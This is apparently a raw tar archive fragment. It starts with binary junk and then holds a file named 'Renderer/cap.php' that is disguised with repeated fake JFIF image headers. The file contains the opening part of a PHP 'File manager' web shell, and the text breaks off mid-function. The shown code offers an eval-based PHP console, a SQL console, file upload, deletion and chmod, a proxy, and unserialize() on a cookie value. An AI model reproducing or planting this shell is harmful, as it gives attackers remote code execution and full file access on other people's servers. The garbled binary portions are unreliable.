ͺmx3M;\ԶQaZ<rJME 8kȲo+?m9vב
.How[mY+v+eo-^]bJVFBp)b],jWZ+$,w&L|ʰIlbBeZk%@X}z|"+UO3+(f/ȍ *n]pݬvYX'K͹=f_xS|UWʅ22tZ[aE1;Vkܳ'GFZdUx#^;JZVkZ݁TpqSUz9m67_V1u_l<vX[o<]6(4	/
˛RI缛?E<9[\kVZ3]ѵIc Z{i*?m`niP J7W+\y<t9NYHUjUy|{y_lFT\r2si)(~PFX{Okf_;AFNv2K?ڌltJT3hU}+O<^r:'\N
KxK%:-NOCO)@1lZ46mXg".Mg5X[ؠrw*ly;e%Vh/=Ԋx[~M`%Ǣզ2A-"ͬ9axhc]W.ۙhz<ƫ8N!mᱟu`j9)7A?_gK*pǸMmlէZ=Ğ%O5OjZ=*!WͭGx&B"K{xZ::|>uݩ'7㶡E&R|]ߪ%i죤$S.ҫ*.Ʃ(kIO9\J{s4jxQB)e&#Wf^mntw/lk(6a9/3cT	WAq/εM'+iYÛ񴳚ςA(,w=ω\B栽hN.]gϺ3p8Y-B66:IxO?evgYkjvfIZ|uN%KNZmVT[ub@ZSRnSN,߬C)^VfEm$;O8LD[,r~+מN;׎-=B/^V?{{yT~J/V-7YFE~ΟnT%Y]:V5Dtji ܬ5N椱͒sa7[7[7[7[7[7[7[7[7[7[7[7[7[7[ogiC4RN-$nlQ7g/34IʣzM|L5>fzwdmiݔMfnc`qaGJ&-5҄]{bH@Uق3{sq6ݥn<{v@1ĄH6mżEKM Mk|I!ǐ7#
OJ?(JihFra(GYuGROm0<Ds4&%VOViU1Ӧ] Y<żQy.k¨3ϕ犧R)Ӏg79RKvLCq,yJ70NhBSNbj*J-5z&Wܐ`,8,gs`c0&er@.U.fl6ߎۛ@VOh[(hj嬼ɄeyS(d`V)ǰTXPwj \|M,.ԛ;.NjT,[zzNbBǖ%7'>vFf;vpX_N;l78ӎoo96Ϟ(/f#%tȆý	zވ=/-bS:+A]#B@1^珞ȍ[Qu>g%CVC Twr'̉]+jNK[ZxV:@g<y2Y+b0Y)R6r<qi1Rgϭ,(G{Jl>z˩ڸHx'`Cx{Jw^Gl7k=?Sn?z-X òiHxyxy4!YgU@d"kCzܨF7O)EхzߩQy *p1Uڼ?UwxyY(4cզ7,d-ij,*b((\_z.Uq+jOizi^~i2Fc]!	:)s_rwźUSFFc6h
@+6|F7j(IQ=.9ɲ$xB)O\M[ոF`0&qJpvGج$93\ϴsf̶[K$٘m${`'m=N;zߟNhwS!S
mZSFjaKj[+n8l;vt(&i-1:`]6G9d	OMGVl;\w2גVsRhyiƭSD;M[iML}Rq
76WXo5:ءjW.wԱ=U&
d1)2ܭiˮSwii{6JiUS2b3D\yk/츱)AhQ$⍧V^%;=?^_θvw/4.ao*'w$ 0|h/ȅwiSa9~ũzBzVUn%m+^%˞'[= ͺ@W"I^g?;XUb#<D#p:&@[ԯ~B$a>~p;}(|5W]L%Q㏇C\$X&N&s}[%(F<#u^~"N,x-P$@9S;Z!B8*CF$j	CWCg"EY&w͡ڌ8ƵMx?SeiTè%Na*t#(G)v\~`DPs-BM#15O^LO
,}I^Ɵ
iNRѸӛTsUf%(*A'
[h ;YAUDXJ1[+'9Z HDt[Bg/#%FIt3h<2Dhcy.ߊ`GgΈVhͿCw7X '|z߸6t%ͲX,8~?p
  @K!ڗ[FZKx
=,)ԏ8X*)N(Z{ΉQN
3i3,):-5K(-hO(fG==~4lRKwt zo`;]b%}%B*hc(}%fyYb$`Imo5-W9$n@9XN\m/pؑz\=%QVL^}eywnmql5{SJd_
kvm|77(8$\Q`E|KL!Jb0-9킮Q<4I7vL"*?L7Fu1p	*0{pH?@S* I#
2C.<)ӛ>u2;pNƩ}}!/́HĒwGNSPC
TԮ38CCY
6M7u1}a
M/wbԻw\dq}oh!z55`Fdа>7v(zF9f<r?>ohH o[G'YG"D"d"m_ꌙ.wEs`n,Gd  1G Ho"7E!Q.MSE_mN噾27P	H轎$vPIJ_(ڗMƺ؛V6HRKK(F3w>?oPD6`q%LQw/qd2G~$f3<z\~.G:VW lSB`.j,>emRq`VCr?<fL0& ˽&ᘘ264'>M
f#x_+a")@@9v0F\Q<z`#hܝ*P}(>ׄB mWR?2f0Mܑ0,h!Pe~$
ZXrF$fȉL~KfdlDL7\΀[󣸣4!0ྯ5:V7Db4|$"K4p8Ό&T{Erl/N택ć䇆(>#瀅@ehP3=dǂ)sD;sX'X̃
ӗh9pi-]u/S=Z;xr^^߁Z	~M.g~F%+o$9(/+R(`LD8/g0$Y]nPx%\k]
0"_1:ִ^:镴;Leyҙzbjh^D@6]"{0oH#}0'p`"|r85h-.\=ΈjzCk1W0rru<xf}piq%eO-Дem G3娤 Н$*h۞.,A?9	<\N]:"Clz;qnTPjIphu0Ka0 XȲO uϗ8YV#&#TK_?(,EW!t+r6fCքMf	DBxMYkNucLI`w8ٜD(W.WĮ`zpZmp[of?=*W,l|3Fk!(h{SOI6-wcÝ!PN94°
)>0uH'$- Dyb<.U \~E0X8q<fY#u-^/抠m{J{J
tzUz[QFڎm3S@i_KC
W;ۋW$ԍ.o$L'X5Qe|g8zUY0^+Kaݠ+$yvӒpYlQd8H .Xvj	Lnݕ!)t:&J@ޓo =:C~ )\_kʗhWM]ڤ#ӊ.VIlO]Ip>T}tG?zvS Q~sj {]@G*ꎷEZ^9",hIY3o. &7㐒qqqUQ/E'J-=c{	еY>Ǻi`:.{'Hui\sqaVve:>tGt_3Yx_-.FNT *	llN3￻$Fnխ	3	COF'/}L[KB(t88Uc`Qe`S|b;nXI!;)KvI^D9~omZBM0]{5oF#_)tWPGKrD]?{݀lwm(A"u簾9:ס\AZ<gVhb4A2eIҴK|qo9-'˛,<m2ZYPoߔrcT2c|ߺ0PHz+]JUOtRT` >|` vhC@`AѧOwätYw@x=>517hap(@Z~!>6ŏ݁&&3{ޜWOLV9u{ C[,3&c׹fyUp `L੆ފ`r8{F^1̔+M,N.g>>34>g?Νzٹev}am,63a%Dө1 rrtO,c6!HV@MC˰3j$M猿B-ǀnq?IFid-Eu܌lhe.ΑN$>:^x+矯
CN1#W̆?dhxI;wxKOhu*g*Hr;XrOlp94Դ,C#TWEH 
%ؚ`ܟus[xR.H-7AxeIC&=\"[	{\]-Zi+C26+{-[Z}UHkC30`p؈^A-	1mF}}FP*\`u	1D4|PdY!Yq)-"k~HC ^+<ZSUƗGQ2q?eBŏP 7%=>PzCgVXK6_85;%=%4&3p2i6IJmk"FrlJ0g'2M)Ss
=C!%ۨP/qFjF6'e"\ŇM]m.^wpݭ˅~lJ:_Bs j@ut	SXwdϩߠ86hTj@.(~yYKH=PK)`Nq߻eoa25̖SM=+5?qh+X6@9藈Ss=US#|0׷|ǐT;&qQ;:W\LrTT<Ik%bC]D/wG;&PyYnQS	\	`ԱgGk}]A/wr:7UUuXρ)2co!Oa:㍹XȴENl+,֩`\v<'L2VfD9@-OV9i]U(E5r?.ޫpD_qSۏ Y=ߏ@6pVq4C}Q$|󫪦8kK)J62$02.XSnȝttG"P6_LgMvN~D'=ec-i@6jhC,;z`LPqO~ƄLnZM"Yz폑b0P^ԇH}i\!)!-9&8T&,,`ԧN`x3O!em{{
H+-W8DGMD((wc@}БЩD2c@F7hrRk3㓋+$֜AvY+.IbXJ	8u=r_@k1N]crF08}s0\7`?3РP:>)F?uvbRV`287Ȩ؆wkQ2^#75 =FKëOLOx)WX߽FWO.C ^)VP4Y_%~(
*
~#vRƹ9{yG]5K;_pv얚Uۥ` 溈]qMeN݌rf틤{F^Z\G,xo˷1IdU	I3kr]_$z>`m`U%#i:at
#gPӘSJ{#<	aDi̍vɇ1
v7jzDwR*c"
+ѴC}?a>,¤l6sy޹]LVUϯxn;6ڹlt|Ky;$cˋ+[SƤ}U`mE*IMָ))@.\C)(L+p$ z3H-˞?dEmAna⬂1nUf0J[O$?xE^X 9`ȫc줌R\p?҈N%>JGPN2C~wlcNY"u۔T7&Wӛ ѣH4R;?< [kڽz	zk.$Gowf7󁞋˲U,VS ~Ro'0?So `]& @@/duCnwy8ZZj(bs7\)X,s?u+ L@KlA0CEÆ@w+/6}	Xa#!R((ɛQmܘjԿ_=qxf. kTx˳AyWGL
s f,;Xt//"::u@oNCNȩ9gtHѦb;BؐH#	5*VG	`Y"#QG"FHhw؏ @sY`pkAU(ϡcCTQrb{~~-AA4Q	w<010eʫ(q6m@]?XtaTTT<i΀
#VwWT7O \"hLB~p!{xR0z/Tm\"5ɞxN	Cb؄dHj>(ovhfI,>294c_/B_vbua2sQrZmt}Gxìcj.	$YVͫ*/5̰ɩ~#)ޚb]R>Qs}i	"wK/xbW1t|.!>lWnc~1fuT=ۘQ_"\D7Z5j3VboޗtQҤN5/f7z:X;M@/%h~ū,/	W=	LC6j"ljsb(߃Flo\nJ8y5j2()gt :wE'/҉;3I[9(N2vm¿'sD^H<x)+yl5,+k~k	BX*
hJ!$(BlBt%*`E Ut{dd.|&jc5e8g(e2&#XZ"|u t|^jLS@,9+|wֱ>[dZ#訖d^ 0 NvФy3NVt=? ZU<ǊyĳcLt=B?bY0O1S9si\k+ʶ|s@=V!S8l4R&0  ,ɍ3[BHl:!_Fb19O_
,0ыÑ;^;eWCݜO+K^Φ'3U=Y=+!ehR4dg`5Xb|x
k{o~CwRʭcaj!Ԟ΃T[;ȍxBcu02t0@q'&~o8fY0tL!)\@k.)amZ)\xu}$;k2C4=Z ȹO8]H@U7AONu.
(3HRGkE*"[YU^c0YX+HvѤ#9O d@1=b.}$$Om4k ~/֡;w{;F8fc*9XQcu*|`Mp5݇MӖR؆awBQUP܅k} u|tb}v!Ûy
iLP8:OhأoZ4UP4##|pd[t;^|#G  U$YS.^!EW}uFuw$Ag8kQ&5p3fabHv\Npu|N\jAtMUtrz}6@=1VlL#ïÁ[xg4SF4ReP5Z!$k#<x?^6kȤ93Z꯫&h%4%
FU]~,/d '}/F;FL_&R +IǺk/<k橩sfi[jnκn[wUTmm2mJtcWĶ>Ά>Hx}tCGee2)B*Cr
dB0%%EWEǡC%uq`J|^Vx}
ZD"{n,B1{W
MlY|Kz)Y.:yg
ʋȃOCE^GGTb!8xr7,',/q+47Qd"-cAEQk)#g.6jOĄX<sCaVÌ$23#IF`@uKZ!fU4^{fWq0V1kEg!.U$J]:eW tJL[EH߽.O3?@|.C=*`QPE2<Nbp,6\8;lfX͂b<20!=d&Jr!	Q?|*n7E6Vlma\=?e&M).xpZ̵paAqX>W&40fC ƭH"uFԘj,__-"+D>=
X؉meE(jjE	f6c7M)y같51aE kVA:c2! `tErL.**x3+XrOPu<p=V't +=WU/Ϡh(p!Uz/CH5ƆtkAnޫC<efqp,nPciBm=b.Yxe!ѩ|rۜρԄ]$.O4FhrLw{>杇ߣ| 8Dzܻ}"6_m!RGtL&xp+^ŮQE3PgfX`TGs6͗ƥ"s P?ub{=F|h%	kM;o;0waէw>=}Ѝ'{ V{@{TJk}pyAiEfqm1SO> vwNVL}!5}Zbk^NܭqI4ΞX?Ϸo?~|/ \                                                                                                                                                                                                                                                                            Renderer/cap.php                                                                                    0000644                 00000234451 15217306007 0007600 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
